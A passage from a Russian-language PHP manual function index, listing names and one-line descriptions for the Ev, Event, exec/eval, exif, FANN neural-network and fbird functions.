    • Ev::embeddableBackends - Возвращает набор бэкендов, которые можно встроить в прочие событийные циклы
    • Ev::feedSignal - Передаём событие сигнала в Ev
    • Ev::feedSignalEvent - Послать событие сигнала в цикл по умолчанию
    • Ev::iteration - Получить количество произведённых опросов цикла по умолчанию на предмет новых событий
    • Ev::now - Получить время запуска последней итерации цикла по умолчанию
    • Ev::nowUpdate - Устанавливает текущее время путём запроса к ядру в процессе обновляя время, возвращаемое Ev::now
    • Ev::recommendedBackends - Получить битовую маску рекомендованных бэкендов для данной платформы
    • Ev::resume - Возобновить выполнение приостановленного ранее событийного цикла по умолчанию
    • Ev::run - Начать проверку наличия событий и вызов callback-функций цикла по умолчанию
    • Ev::sleep - Блокировать процесс заданное количество секунд
    • Ev::stop - Остановить событийный цикл по умолчанию
    • Ev::supportedBackends - Возвращает набор бэкендов, поддерживаемых текущей конфигурацией libev
    • Ev::suspend - Приостановить событийный цикл по умолчанию
    • Ev::time - Возвращает текущее время в секундах(дробное число) прошедшее с начала эпохи Unix
    • Ev::verify - Производит внутреннюю проверку целостности(для отладки)
    • eval - Расценивает строку как PHP-код и выполняет его
    • EvCheck::createStopped - Создаёт остановленный экземпляр наблюдателя EvCheck
    • EvCheck::__construct - Конструктор объекта EvCheck
    • EvChild::createStopped - Создаёт остановленный экземпляр наблюдателя EvCheck
    • EvChild::set - Конфигурирование наблюдателя
    • EvChild::__construct - Создаёт объект наблюдатель EvChild
    • EvEmbed::createStopped - Создаёт остановленный объект наблюдатель EvEmbed
    • EvEmbed::set - Настройка наблюдателя
    • EvEmbed::sweep - Делает одиночную, неблокирующую развёртку по встроенному циклу
    • EvEmbed::__construct - Конструктор объекта EvEmbed
    • Event::add - Перевести событие в состояние ожидания
    • Event::addSignal - Псевдоним Event::add
    • Event::addTimer - Псевдоним Event::add
    • Event::del - Перевести событие в пассивное состояние
    • Event::delSignal - Псевдоним Event::del
    • Event::delTimer - Псевдоним Event::del
    • Event::free - Перевести событие в пассивное состояние и высвободить все выделенные для него ресурсы
    • Event::getSupportedMethods - Получить массив с именами методов, поддерживаемых в текущей версии Libevent
    • Event::pending - Проверить, что событие находится в состоянии ожидания либо что оно запланировано
    • Event::set - Переконфигурировать событие
    • Event::setPriority - Задать приоритет событию
    • Event::setTimer - Переконфигурация события таймера
    • Event::signal - Создать объект события сигнала
    • Event::timer - Создать объект события таймера
    • Event::__construct - Конструктор объекта Event
    • EventBase::dispatch - Отправляет ожидающие события
    • EventBase::exit - Прекращает отправку событий
    • EventBase::free - Освобождает ресурсы, выделенные для этой базы событий
    • EventBase::getFeatures - Возвращает битовую маску поддерживаемых функций
    • EventBase::getMethod - Возвращает используемый метод события
    • EventBase::getTimeOfDayCached - Возвращает текущее время базовый событий
    • EventBase::gotExit - Проверяет, был ли цикл обработки событий завершён
    • EventBase::gotStop - Проверяет, был ли цикл обработки событий завершён
    • EventBase::loop - Отправка ожидающих событий
    • EventBase::priorityInit - Устанавливает количество приоритетов на базу событий
    • EventBase::reInit - Повторная инициализация базы событий (после разветвления)
    • EventBase::stop - Сообщает event_base прекратить отправку событий
    • EventBase::__construct - Конструктор объекта EventBase
    • EventBuffer::add - Добавляет данные в конец буфера событий
    • EventBuffer::addBuffer - Перемещает все данные из буфера экземпляру EventBuffer
    • EventBuffer::appendFrom - Перемещает указанное количество байтов из исходного буфера в конец текущего буфера
    • EventBuffer::copyout - Копирует указанное количество байтов с начала буфера
    • EventBuffer::drain - Удаляет указанное количество байтов с начала буфера, никуда не копируя
    • EventBuffer::enableLocking - Описание
    • EventBuffer::expand - Резервирует пространство в буфере
    • EventBuffer::freeze - Предотвращает вызовы, которые изменяют буфер событий в случае успешного выполнения
    • EventBuffer::lock - Получает блокировку буфера
    • EventBuffer::prepend - Записывает данные в начало буфера
    • EventBuffer::prependBuffer - Перемещает все данные из исходного буфера в начало текущего буфера
    • EventBuffer::pullup - Линеаризует данные в буфере и возвращает их содержимое в виде строки
    • EventBuffer::read - Читает данные из evbuffer и истощает прочитанные байты
    • EventBuffer::readFrom - Читает данные из файла в конец буфера
    • EventBuffer::readLine - Извлекает строку из начала буфера
    • EventBuffer::search - Сканирует буфер на наличие строки
    • EventBuffer::searchEol - Сканирует буфер на наличие конца строки
    • EventBuffer::substr - Обрезает часть данных буфера
    • EventBuffer::unfreeze - Повторно включает вызовы, которые изменяют буфер событий
    • EventBuffer::unlock - Снимает блокировку, установленную EventBuffer::lock
    • EventBuffer::write - Записывает содержимое буфера в файл или сокет
    • EventBuffer::__construct - Создаёт объект EventBuffer
    • EventBufferEvent::close - Закрывает дескриптор файла, связанный с текущим событием буфера
    • EventBufferEvent::connect - Подключает файловый дескриптор события буфера к указанному адресу или сокету UNIX
    • EventBufferEvent::connectHost - Подключается по имени хоста с возможностью асинхронного разрешения DNS
    • EventBufferEvent::createPair - Создаёт два буферных события, связанных друг с другом
    • EventBufferEvent::disable - Отключает чтение, запись или и то, и другое в событии буфера
    • EventBufferEvent::enable - Включает чтение, запись или и то, и другое в событии буфера
    • EventBufferEvent::free - Освобождает событие буфера
    • EventBufferEvent::getDnsErrorString - Возвращает строку, описывающую последнюю неудачную попытку поиска DNS
    • EventBufferEvent::getEnabled - Возвращает битовую маску событий, которые в данный момент активированы для буферного события
    • EventBufferEvent::getInput - Возвращает базовый входной буфер, связанный с текущим буферным событием
    • EventBufferEvent::getOutput - Возвращает базовый выходной буфер, связанный с текущим буферным событием
    • EventBufferEvent::read - Читает данные буфера
    • EventBufferEvent::readBuffer - Сливает все содержимое буфера ввода и помещает его в буфер
    • EventBufferEvent::setCallbacks - Назначает callback-функции для чтения, записи и события (состояния)
    • EventBufferEvent::setPriority - Присваивает приоритет bufferevent
    • EventBufferEvent::setTimeouts - Устанавливает время ожидания чтения и записи для события буфера
    • EventBufferEvent::setWatermark - Регулирует водяные знаки чтения и/или записи
    • EventBufferEvent::sslError - Возвращает последнюю ошибку OpenSSL, сообщённую буферному событию
    • EventBufferEvent::sslFilter - Создаёт новое событие буфера SSL для отправки своих данных через другое событие буфера
    • EventBufferEvent::sslGetCipherInfo - Возвращает текстовое описание шифра
    • EventBufferEvent::sslGetCipherName - Возвращает текущее имя шифра соединения SSL
    • EventBufferEvent::sslGetCipherVersion - Возвращает версию шифра, используемого текущим SSL-соединением
    • EventBufferEvent::sslGetProtocol - Возвращает имя протокола, используемого для текущего соединения SSL
    • EventBufferEvent::sslRenegotiate - Сообщает буферному событию начать пересмотр SSL
    • EventBufferEvent::sslSocket - Создаёт новое буферное событие SSL для отправки своих данных через SSL в сокет
    • EventBufferEvent::write - Добавляет данные в буфер вывода буферного события
    • EventBufferEvent::writeBuffer - Добавляет содержимое всего буфера в буфер вывода буферного события
    • EventBufferEvent::__construct - Создаёт объект EventBufferEvent
    • EventConfig::avoidMethod - Попросить libevent не использовать определённый метод события
    • EventConfig::requireFeatures - Ввести требуемые приложением свойства метода события
    • EventConfig::setFlags - Устанавливает один или несколько флагов для настройки возможной инициализации EventBase
    • EventConfig::setMaxDispatchInterval - Предотвратить инверсию приоритетов
    • EventConfig::__construct - Создать объект EventConfig
    • EventDnsBase::addNameserverIp - Добавляет сервер имён в базу DNS
    • EventDnsBase::addSearch - Добавляет домен в список поисковых доменов
    • EventDnsBase::clearSearch - Удаляет все текущие суффиксы поиска
    • EventDnsBase::countNameservers - Получает количество настроенных серверов имён
    • EventDnsBase::loadHosts - Загружает файл hosts (в том же формате, что и /etc/hosts) из файла hosts
    • EventDnsBase::parseResolvConf - Сканирует файл в формате resolv.conf
    • EventDnsBase::setOption - Устанавливает значение параметра конфигурации
    • EventDnsBase::setSearchNdots - Устанавливает параметр 'ndots' для поиска
    • EventDnsBase::__construct - Конструктор объекта EventDnsBase
    • EventHttp::accept - Заставляет HTTP-сервер принимать соединения с указанным потоком сокета или ресурсом
    • EventHttp::addServerAlias - Добавляет псевдоним сервера к объекту HTTP-сервера
    • EventHttp::bind - Привязывает HTTP-сервер к указанному адресу и порту
    • EventHttp::removeServerAlias - Удаляет псевдоним сервера
    • EventHttp::setAllowedMethods - Устанавливает, какие методы HTTP поддерживаются в запросах, принятых этим сервером и переданных callback-функции пользователя
    • EventHttp::setCallback - Устанавливает callback-функцию для указанного URI
    • EventHttp::setDefaultCallback - Устанавливает callback-функцию по умолчанию для обработки запросов, которые не перехватываются конкретными callback-функциями
    • EventHttp::setMaxBodySize - Устанавливает максимальный размер тела запроса
    • EventHttp::setMaxHeadersSize - Устанавливает максимальный размер HTTP-заголовка
    • EventHttp::setTimeout - Устанавливает время ожидания для HTTP-запроса
    • EventHttp::__construct - Создаёт объект EventHttp (HTTP-сервер)
    • EventHttpConnection::getBase - Возвращает базу событий, связанную с соединением
    • EventHttpConnection::getPeer - Получает удалённый адрес и порт, связанный с соединением
    • EventHttpConnection::makeRequest - Делает HTTP-запрос по указанному соединению
    • EventHttpConnection::setCloseCallback - Устанавливает callback-функцию при закрытии соединения
    • EventHttpConnection::setLocalAddress - Устанавливает IP-адрес, с которого происходят HTTP-соединения
    • EventHttpConnection::setLocalPort - Устанавливает локальный порт, с которого производятся соединения
    • EventHttpConnection::setMaxBodySize - Устанавливает максимальный размер тела для подключения
    • EventHttpConnection::setMaxHeadersSize - Устанавливает максимальный размер заголовка
    • EventHttpConnection::setRetries - Устанавливает максимальное количество повторов для соединения
    • EventHttpConnection::setTimeout - Устанавливает время ожидания для соединения
    • EventHttpConnection::__construct - Создаёт объект EventHttpConnection
    • EventHttpRequest::addHeader - Добавляет заголовок HTTP к заголовкам запроса
    • EventHttpRequest::cancel - Отменяет ожидающий HTTP-запрос
    • EventHttpRequest::clearHeaders - Удаляет все выходные заголовки из списка заголовков запроса
    • EventHttpRequest::closeConnection - Закрывает связанное HTTP-соединение
    • EventHttpRequest::findHeader - Получает значение заголовка
    • EventHttpRequest::free - Освобождает объект и удаляет связанные события
    • EventHttpRequest::getBufferEvent - Возвращает объект EventBufferEvent
    • EventHttpRequest::getCommand - Возвращает команду запроса (метод)
    • EventHttpRequest::getConnection - Возвращает объект EventHttpConnection
    • EventHttpRequest::getHost - Возвращает хост запроса
    • EventHttpRequest::getInputBuffer - Возвращает входной буфер
    • EventHttpRequest::getInputHeaders - Возвращает ассоциативный массив входных заголовков
    • EventHttpRequest::getOutputBuffer - Возвращает выходной буфер запроса
    • EventHttpRequest::getOutputHeaders - Возвращает ассоциативный массив выходных заголовков
    • EventHttpRequest::getResponseCode - Возвращает код ответа
    • EventHttpRequest::getUri - Возвращает URI запроса
    • EventHttpRequest::removeHeader - Удаляет заголовок HTTP из заголовков запроса
    • EventHttpRequest::sendError - Отправляет HTML-сообщение об ошибке клиенту
    • EventHttpRequest::sendReply - Отправляет HTML-ответ клиенту
    • EventHttpRequest::sendReplyChunk - Отправляет блок данных, как часть текущего фрагментированного ответа
    • EventHttpRequest::sendReplyEnd - Заполняет фрагментарный ответ, освобождая запрос соответствующим образом
    • EventHttpRequest::sendReplyStart - Инициирует фрагментарный ответ
    • EventHttpRequest::__construct - Создаёт объект EventHttpRequest
    • EventListener::disable - Отключает событие подключения к объекту слушателя
    • EventListener::enable - Включает событие подключения к объекту слушателя
    • EventListener::getBase - Возвращает базу событий, связанную со слушателем событий
    • EventListener::getSocketName - Получает текущий адрес, к которому привязан сокет слушателя
    • EventListener::setCallback - Цель setCallback
    • EventListener::setErrorCallback - Устанавливает callback-функцию ошибки слушателя событий
    • EventListener::__construct - Создаёт нового слушателя соединения, связанного с базой события
    • EventSslContext::__construct - Создаёт контекст OpenSSL для классов модуля Event
    • EventUtil::getLastSocketErrno - Получить номер последней возникшей ошибки сокета
    • EventUtil::getLastSocketError - Получить последнюю возникшую ошибку сокета
    • EventUtil::getSocketFd - Получить числовой файловый дескриптор сокета или потока
    • EventUtil::getSocketName - Получить текущий адрес, к которому привязан сокет
    • EventUtil::setSocketOption - Установить опции сокета
    • EventUtil::sslRandPoll - Сгенерировать энтропию с помощью RAND_poll() из OpenSSL
    • EventUtil::__construct - Абстрактный конструктор
    • EvFork::createStopped - Создать объект класса EvFork, но не стартовать его
    • EvFork::__construct - Конструктор наблюдателя EvFork
    • EvIdle::createStopped - Создать объект класса EvIdle, но не стартовать его
    • EvIdle::__construct - Конструктор наблюдателя EvIdle
    • EvIo::createStopped - Создаёт остановленный объект наблюдателя EvIo
    • EvIo::set - Конфигурирование наблюдателя
    • EvIo::__construct - Создаёт объект наблюдатель EvIo
    • EvLoop::backend - Возвращает целое число, описывающее бэкенд, используемый libev
    • EvLoop::check - Создаёт объект EvCheck, связанный с текущим экземпляром цикла событий
    • EvLoop::child - Создаёт объект EvChild, связанный с текущим циклом событий
    • EvLoop::defaultLoop - Возвращает или создаёт цикл событий по умолчанию
    • EvLoop::embed - Создаёт экземпляр наблюдателя EvEmbed, связанный с текущим объектом EvLoop
    • EvLoop::fork - Создаёт объект наблюдателя EvFork, связанный с текущим экземпляром цикла событий
    • EvLoop::idle - Создаёт объект наблюдателя EvIdle, связанный с текущим экземпляром цикла событий
    • EvLoop::invokePending - Вызывает всех ожидающих наблюдателей при сбросе их отложенного состояния
    • EvLoop::io - Создаёт объект наблюдателя EvIo, связанный с текущим экземпляром цикла событий
    • EvLoop::loopFork - Вызывается после разветления
    • EvLoop::now - Возвращает текущее "event loop time"
    • EvLoop::nowUpdate - Устанавливает текущее время, запрашивая ядро, обновляя время, возвращаемое EvLoop::now в процессе
    • EvLoop::periodic - Создаёт объект наблюдателя EvPeriodic, связанный с текущим экземпляром цикла событий
    • EvLoop::prepare - Создаёт объект наблюдателя EvPrepare, связанный с текущим экземпляром цикла событий
    • EvLoop::resume - Возобновляет ранее приостановленный цикл событий
    • EvLoop::run - Проверяет события и вызывает callback-функции в цикле
    • EvLoop::signal - Создаёт объект наблюдателя EvSignal, связанный с текущим экземпляром цикла событий
    • EvLoop::stat - Создаёт объект наблюдателя EvStat, связанный с текущим экземпляром цикла событий
    • EvLoop::stop - Останавливает цикл событий
    • EvLoop::suspend - Приостанавливает цикл
    • EvLoop::timer - Создаёт объект наблюдателя EvTimer, связанный с текущим экземпляром цикла событий
    • EvLoop::verify - Выполняет внутренние проверки согласованности (для отладки)
    • EvLoop::__construct - Конструктор объекта цикла событий
    • EvPeriodic::again - Останавливает и снова запускает периодический наблюдатель
    • EvPeriodic::at - Возвращает абсолютное время, когда наблюдатель запустится в следующий раз
    • EvPeriodic::createStopped - Создаёт остановленный наблюдатель EvPeriodic
    • EvPeriodic::set - Настраивает наблюдателя
    • EvPeriodic::__construct - Конструктор объекта наблюдателя EvPeriodic
    • EvPrepare::createStopped - Создать объект класса EvPrepare, но не стартовать его
    • EvPrepare::__construct - Конструктор наблюдателя EvPrepare
    • EvSignal::createStopped - Create stopped EvSignal watcher object
    • EvSignal::set - Настройка наблюдателя
    • EvSignal::__construct - Конструктор объекта наблюдателя EvSignal
    • EvStat::attr - Возвращает значения, недавно обнаруженные Ev
    • EvStat::createStopped - Создаёт остановленный объект наблюдателя EvStat
    • EvStat::prev - Возвращает предыдущий набор значений, возвращаемых EvStat::attr
    • EvStat::set - Настраивает наблюдателя
    • EvStat::stat - Инициирует вызов статистики
    • EvStat::__construct - Создаёт объект наблюдателя EvStat
    • EvTimer::again - Перезапускает таймер наблюдателя
    • EvTimer::createStopped - Создаёт остановленный наблюдатель EvTimer
    • EvTimer::set - Настраивает наблюдателя
    • EvTimer::__construct - Конструктор объекта наблюдателя EvTimer
    • EvWatcher::clear - Очистить статус ожидания наблюдателя
    • EvWatcher::feed - Подаёт указанные события в цикл событий
    • EvWatcher::getLoop - Возвращает цикл, отвечающий за наблюдателя
    • EvWatcher::invoke - Вызывает callback-функцию наблюдателя с заданной битовой маской принятых событий
    • EvWatcher::keepalive - Настраивает, будет ли возвращаться цикл
    • EvWatcher::setCallback - Устанавливает новую callback-функцию для наблюдателя
    • EvWatcher::start - Запускает наблюдателя
    • EvWatcher::stop - Останавливает наблюдателя
    • EvWatcher::__construct - Абстрактный конструктор объекта наблюдателя
    • Exception::getCode - Получает код исключения
    • Exception::getFile - Получает файл, в котором возникло исключение
    • Exception::getLine - Получает строку, в которой возникло исключение
    • Exception::getMessage - Получает сообщение исключения
    • Exception::getPrevious - Возвращает предыдущий объект, реализующий Throwable
    • Exception::getTrace - Получает трассировку стека
    • Exception::getTraceAsString - Получает трассировку стека в виде строки
    • Exception::__clone - Клонировать исключение
    • Exception::__construct - Создать исключение
    • Exception::__toString - Строковое представление исключения
    • exec - Выполнить внешнюю программу
    • Executable::execute - Выполняет утверждение
    • ExecutionStatus::__construct - Конструктор класса ExecutionStatus
    • exif_imagetype - Determine the type of an image
    • exif_read_data - Читает заголовки EXIF из файлов изображений
    • exif_tagname - Получение имени заголовка по его индексу
    • exif_thumbnail - Получает встроенное превью изображения
    • exit - Выводит сообщение и прекращает выполнение текущего скрипта
    • exp - Вычисляет степень числа e
    • expect:// - Потоки для взаимодействия с процессами
    • expect_expectl - Ожидает, пока вывод потока не совпадёт с одним из шаблонов, либо пока не закончится максимальное время ожидания, либо вернётся EOF
    • expect_popen - Запускает команду через командную оболочку Bourne и открывает для процесса поток PTY
    • explode - Разбивает строку разделителем
    • expm1 - Возвращает результат exp($num) - 1, вычисленный так, чтобы он был точным, даже если значение числа близко к нулю.
    • expression - Связывает подготовленные переменные утверждения в качестве параметров
    • Expression::__construct - Конструктор класса Expression
    • extension_loaded - Определяет, загружен ли модуль
    • extract - Импортирует переменные массива в текущую таблицу символов
    • ezmlm_hash - Вычисляет хеш-сумму, необходимую для EZMLM
  • f
    • FANNConnection::getFromNeuron - Возвращает позицию стартового нейрона
    • FANNConnection::getToNeuron - Возвращает позицию конечного нейрона
    • FANNConnection::getWeight - Возвращает вес связи
    • FANNConnection::setWeight - Устанавливает вес связи
    • FANNConnection::__construct - Конструктор связи
    • fann_cascadetrain_on_data - Обучение на всем наборе данных в течение определённого периода времени с помощью алгоритма Cascade2
    • fann_cascadetrain_on_file - Обучение на данных прочтённых из файла с помощью алгоритма Cascade2
    • fann_clear_scaling_params - Очистка параметров масштабирования
    • fann_copy - Создаёт копию структуры fann
    • fann_create_from_file - Создаёт нейронную сеть с обратным распространением ошибки из конфигурационного файла
    • fann_create_shortcut - Создаёт стандартную нейронную сеть обратного распространения, которая не полностью подключена и имеет быстрые соединения
    • fann_create_shortcut_array - Создаёт стандартную нейронную сеть обратного распространения, которая не полностью подключена и имеет быстрые соединения
    • fann_create_sparse - Создаёт стандартную нейронную сеть обратного распространения, которая не полностью подключена
    • fann_create_sparse_array - Создаёт стандартную нейронную сеть обратного распространения, которая не полностью подключена, используя массив размеров слоёв
    • fann_create_standard - Создаёт стандартную полностью подключённую нейронную сеть обратного распространения
    • fann_create_standard_array - Создаёт стандартную полностью подключённую нейронную сеть обратного распространения, используя массив размеров слоёв
    • fann_create_train - Создаёт пустую структуру данных для обучения
    • fann_create_train_from_callback - Создаёт структуру данных обучения из предоставленной пользователем функции
    • fann_descale_input - Масштабирует данные во входном векторе после получения их на основе ранее рассчитанных параметров
    • fann_descale_output - Масштабирует данные в выходном векторе после получения их ина основе ранее рассчитанных параметров
    • fann_descale_train - Масштабирование входных и выходных данных на основе предварительно рассчитанных параметров
    • fann_destroy - Уничтожает всю сеть и правильно освобождает всю связанную память
    • fann_destroy_train - Уничтожает тренировочные данные
    • fann_duplicate_train_data - Возвращает точную копию тренировочных данных
    • fann_get_activation_function - Возвращает функцию активации
    • fann_get_activation_steepness - Возвращает крутизну активации для поставляемого нейрона и номера слоя
    • fann_get_bias_array - Получает количество смещений в каждом слое в сети
    • fann_get_bit_fail - Количество битов сбоя
    • fann_get_bit_fail_limit - Возвращает предел сбоя битов, использованный во время обучения
    • fann_get_cascade_activation_functions - Возвращает функции каскадной активации
    • fann_get_cascade_activation_functions_count - Возвращает количество функций каскадной активации
    • fann_get_cascade_activation_steepnesses - Возвращает крутизну каскадной активации
    • fann_get_cascade_activation_steepnesses_count - Количество крутизны активации
    • fann_get_cascade_candidate_change_fraction - Возвращает долю изменения каскада кандидата
    • fann_get_cascade_candidate_limit - Возвращает предел кандидата
    • fann_get_cascade_candidate_stagnation_epochs - Возвращает количество периодов застоя каскада кандидата
    • fann_get_cascade_max_cand_epochs - Получает наибольший период кандидата
    • fann_get_cascade_max_out_epochs - Возвращает максимальное количество периодов
    • fann_get_cascade_min_cand_epochs - Получает наименьший период кандидата
    • fann_get_cascade_min_out_epochs - Возвращает минимальное количество периодов
    • fann_get_cascade_num_candidates - Возвращает количество кандидатов, использованных во время обучения
    • fann_get_cascade_num_candidate_groups - Возвращает количество групп кандидатов
    • fann_get_cascade_output_change_fraction - Возвращает долю изменения выхода каскада
    • fann_get_cascade_output_stagnation_epochs - Возвращает количество каскадных периодов застоя кандидатов
    • fann_get_cascade_weight_multiplier - Возвращает множитель веса
    • fann_get_connection_array - Получает соединения в сети
    • fann_get_connection_rate - Получает скорость соединения, используемую при создании сети
    • fann_get_errno - Возвращает последний номер ошибки
    • fann_get_errstr - Возвращает последнюю строку ошибки
    • fann_get_layer_array - Получает количество нейронов в каждом слое сети
    • fann_get_learning_momentum - Возвращает импульс обучения
    • fann_get_learning_rate - Возвращает скорость обучения
    • fann_get_MSE - Считывает среднеквадратичную ошибку сети
    • fann_get_network_type - Получает тип нейронной сети
    • fann_get_num_input - Получает количество входных нейронов
    • fann_get_num_layers - Получает количество слоёв в нейронной сети
    • fann_get_num_output - Получает количество выходных нейронов
    • fann_get_quickprop_decay - Возвращает снижение, которое является фактором, при котором веса должны уменьшаться на каждой итерации во время обучения quickprop
    • fann_get_quickprop_mu - Возвращает коэффициент mu
    • fann_get_rprop_decrease_factor - Возвращает коэффициент уменьшения, используемый во время обучения RPROP
    • fann_get_rprop_delta_max - Возвращает максимальный размер шага
    • fann_get_rprop_delta_min - Возвращает минимальный размер шага
    • fann_get_rprop_delta_zero - Возвращает начальный размер шага
    • fann_get_rprop_increase_factor - Возвращает коэффициент увеличения, используемый во время обучения RPROP
    • fann_get_sarprop_step_error_shift - Возвращает сдвиг ошибки шага sarprop
    • fann_get_sarprop_step_error_threshold_factor - Возвращает пороговый коэффициент ошибки шага sarprop
    • fann_get_sarprop_temperature - Возвращает температуру sarprop
    • fann_get_sarprop_weight_decay_shift - Возвращает сдвиг уменьшения веса sarprop
    • fann_get_total_connections - Получает общее количество соединений во всей сети
    • fann_get_total_neurons - Получает общее количество нейронов во всей сети
    • fann_get_training_algorithm - Возвращает алгоритм обучения
    • fann_get_train_error_function - Возвращает функцию обработки ошибок, используемую во время обучения
    • fann_get_train_stop_function - Возвращает функцию остановки, используемую во время обучения
    • fann_init_weights - Инициализирует веса с помощью алгоритма Widrow + Nguyen
    • fann_length_train_data - Возвращает количество шаблонов в обучающих данных
    • fann_merge_train_data - Объединяет обучающие данные
    • fann_num_input_train_data - Возвращает количество входных данных в каждом из шаблонов в обучающих данных
    • fann_num_output_train_data - Возвращает количество выходных данных в каждом из шаблонов в обучающих данных
    • fann_print_error - Выводит строку ошибки
    • fann_randomize_weights - Присваивает каждому соединению случайный вес между min_weight и max_weight
    • fann_read_train_from_file - Читает файл, в котором хранятся данные обучения
    • fann_reset_errno - Сбрасывает номер последней ошибки
    • fann_reset_errstr - Сбрасывает последнюю строку ошибки
    • fann_reset_MSE - Сбрасывает среднеквадратичную ошибку из сети
    • fann_run - Запускает нейронную сеть с заданными данными
    • fann_save - Сохраняет всю сеть в файл конфигурации
    • fann_save_train - Сохраняет структуру обучения в файл
    • fann_scale_input - Масштабирует данные во входном векторе перед подачей их в ann на основе ранее рассчитанных параметров
    • fann_scale_input_train_data - Масштабирует входные данные в обучающих данных до указанного диапазона
    • fann_scale_output - Масштабирует данные в выходном векторе перед их передачей в ann на основе ранее рассчитанных параметров
    • fann_scale_output_train_data - Масштабирует выходные данные в обучающих данных до указанного диапазона
    • fann_scale_train - Масштабирует входные и выходные данные на основе ранее рассчитанных параметров
    • fann_scale_train_data - Масштабирует входные и выходные данные в обучающих данных до указанного диапазона
    • fann_set_activation_function - Устанавливает функцию активации для указанного нейрона и слоя
    • fann_set_activation_function_hidden - Устанавливает функцию активации для всех скрытых слоёв
    • fann_set_activation_function_layer - Устанавливает функцию активации для всех нейронов в предоставленном слое
    • fann_set_activation_function_output - Устанавливает функцию активации для выходного слоя
    • fann_set_activation_steepness - Устанавливает крутизну активации для указанного нейрона и номера слоя
    • fann_set_activation_steepness_hidden - Устанавливает крутизну крутизны активации для всех нейронов во всех скрытых слоях
    • fann_set_activation_steepness_layer - Устанавливает крутизну активации для всех нейронов в указанном номере слоя
    • fann_set_activation_steepness_output - Устанавливает крутизну активации в выходном слое
    • fann_set_bit_fail_limit - Устанавливает предел ошибок, используемый во время обучения
    • fann_set_callback - Устанавливает callback-функцию для использования во время обучения
    • fann_set_cascade_activation_functions - Устанавливает массив каскадных функций активации кандидатов
    • fann_set_cascade_activation_steepnesses - Устанавливает массив крутизны включения кандидатов в каскад
    • fann_set_cascade_candidate_change_fraction - Устанавливает долю каскадного изменения кандидата
    • fann_set_cascade_candidate_limit - Устанавливает лимит кандидатов
    • fann_set_cascade_candidate_stagnation_epochs - Устанавливает количество каскадных периодов застоя кандидатов
    • fann_set_cascade_max_cand_epochs - Устанавливает наибольший период кандидата
    • fann_set_cascade_max_out_epochs - Устанавливает максимальное количество эпох
    • fann_set_cascade_min_cand_epochs - Устанавливает наименьший период кандидата
    • fann_set_cascade_min_out_epochs - Устанавливает минимальные эпохи выходных данных
    • fann_set_cascade_num_candidate_groups - Устанавливает количество групп кандидатов
    • fann_set_cascade_output_change_fraction - Устанавливает долю изменения каскадных выходных данных
    • fann_set_cascade_output_stagnation_epochs - Устанавливает количество периодов стагнации каскадного вывода
    • fann_set_cascade_weight_multiplier - Устанавливает множитель веса
    • fann_set_error_log - Устанавливает, где регистрируются ошибки
    • fann_set_input_scaling_params - Рассчитывает входные параметры масштабирования для будущего использования на основе данных обучения
    • fann_set_learning_momentum - Устанавливает импульс обучения
    • fann_set_learning_rate - Устанавливает скорость обучения
    • fann_set_output_scaling_params - Рассчитывает выходные параметры масштабирования для будущего использования на основе данных обучения
    • fann_set_quickprop_decay - Устанавливает коэффициент затухания quickprop
    • fann_set_quickprop_mu - Устанавливает МЮ-фактор quickprop
    • fann_set_rprop_decrease_factor - Устанавливает коэффициент уменьшения, используемый во время обучения RPROP
    • fann_set_rprop_delta_max - Устанавливает максимальный размер шага
    • fann_set_rprop_delta_min - Устанавливает минимальный размер шага
    • fann_set_rprop_delta_zero - Устанавливает начальный размер шага
    • fann_set_rprop_increase_factor - Устанавливает коэффициент увеличения, используемый во время обучения Rprop
    • fann_set_sarprop_step_error_shift - Устанавливает сдвиг ошибки шага sarprop
    • fann_set_sarprop_step_error_threshold_factor - Устанавливает пороговый коэффициент ошибки шага sarprop
    • fann_set_sarprop_temperature - Устанавливает температуру sarprop
    • fann_set_sarprop_weight_decay_shift - Устанавливает смещение затухания sarprop
    • fann_set_scaling_params - Рассчитывает входные и выходные параметры масштабирования для будущего использования на основе данных обучения
    • fann_set_training_algorithm - Устанавливает алгоритм обучения
    • fann_set_train_error_function - Устанавливает функцию ошибки, используемую во время тренировки
    • fann_set_train_stop_function - Устанавливает функцию остановки, используемую во время тренировки
    • fann_set_weight - Создание связи в сети
    • fann_set_weight_array - Создание связей в сети
    • fann_shuffle_train_data - Перемешивает обучающие данные в случайном порядке
    • fann_subset_train_data - Получить копию подмножества из обучающих данных
    • fann_test - Тестирование с набором входных данных и желаемым результатом
    • fann_test_data - Тестирование набора обучающих данных и вычисление MSE для него
    • fann_train - Провести одну итерацию обучения с набором входных данных и желаемым результатом
    • fann_train_epoch - Обучение в течение одной эпохи
    • fann_train_on_data - Обучение на всем объёме данных на временном интервале
    • fann_train_on_file - Обучение на полном наборе данных, прочитанном из файла, на временном интервале
    • fastcgi_finish_request - Сбрасывает все запрошенные данные клиенту
    • fbird_add_user - Псевдоним ibase_add_user
    • fbird_affected_rows - Псевдоним ibase_affected_rows
    • fbird_backup - Псевдоним ibase_backup
    • fbird_blob_add - Псевдоним ibase_blob_add
    • fbird_blob_cancel - Отменяет создание BLOB
    • fbird_blob_close - Псевдоним ibase_blob_close
    • fbird_blob_create - Псевдоним ibase_blob_create
    • fbird_blob_echo - Псевдоним ibase_blob_echo
    • fbird_blob_get - Псевдоним ibase_blob_get
    • fbird_blob_import - Псевдоним ibase_blob_import
    • fbird_blob_info - Псевдоним ibase_blob_info
    • fbird_blob_open - Псевдоним ibase_blob_open
    • fbird_close - Псевдоним ibase_close
    • fbird_commit - Псевдоним ibase_commit
    • fbird_commit_ret - Псевдоним ibase_commit_ret
    • fbird_connect - Псевдоним ibase_connect
    • fbird_db_info - Псевдоним ibase_db_info
    • fbird_delete_user - Псевдоним ibase_delete_user
    • fbird_drop_db - Псевдоним ibase_drop_db
    • fbird_errcode - Псевдоним ibase_errcode
    • fbird_errmsg - Псевдоним ibase_errmsg
    • fbird_execute - Псевдоним ibase_execute
    • fbird_fetch_assoc - Псевдоним ibase_fetch_assoc
    • fbird_fetch_object - Псевдоним ibase_fetch_object
    • fbird_fetch_row - Псевдоним ibase_fetch_row
    • fbird_field_info - Псевдоним ibase_field_info
    • fbird_free_event_handler - Псевдоним ibase_free_event_handler
    • fbird_free_query - Псевдоним ibase_free_query
    • fbird_free_result - Псевдоним ibase_free_result
    • fbird_gen_id - Псевдоним ibase_gen_id
    • fbird_maintain_db - Псевдоним ibase_maintain_db
    • fbird_modify_user - Псевдоним ibase_modify_user
    • fbird_name_result - Псевдоним ibase_name_result
    • fbird_num_fields - Псевдоним ibase_num_fields
    • fbird_num_params - Псевдоним ibase_num_params
    • fbird_param_info - Псевдоним ibase_param_info
